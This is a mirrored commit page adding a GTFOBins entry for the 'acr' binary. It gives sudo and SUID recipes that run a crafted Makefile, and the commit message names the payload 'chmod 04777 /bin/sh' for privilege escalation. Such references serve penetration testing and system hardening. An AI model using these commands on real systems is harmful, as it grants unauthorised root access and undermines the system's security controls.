mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2025-01-15 00:01:45 +01:00
15eb4b376a
Inside the Makefile : privesc: chmod 04777 /bin/sh But there is another possibilities, the command above is how i did it
16 lines
342 B
Markdown
16 lines
342 B
Markdown
---
|
|
functions:
|
|
suid:
|
|
- code: |
|
|
sudo install acr $(which acr) .
|
|
touch Makefile && chmod + Makefile
|
|
echo DATA > Makefile
|
|
./acr -r Makefile
|
|
sudo:
|
|
- code: |
|
|
sudo install acr $(which acr) .
|
|
touch Makefile && chmod + Makefile
|
|
echo DATA > Makefile
|
|
sudo acr -r Makefile
|
|
---
|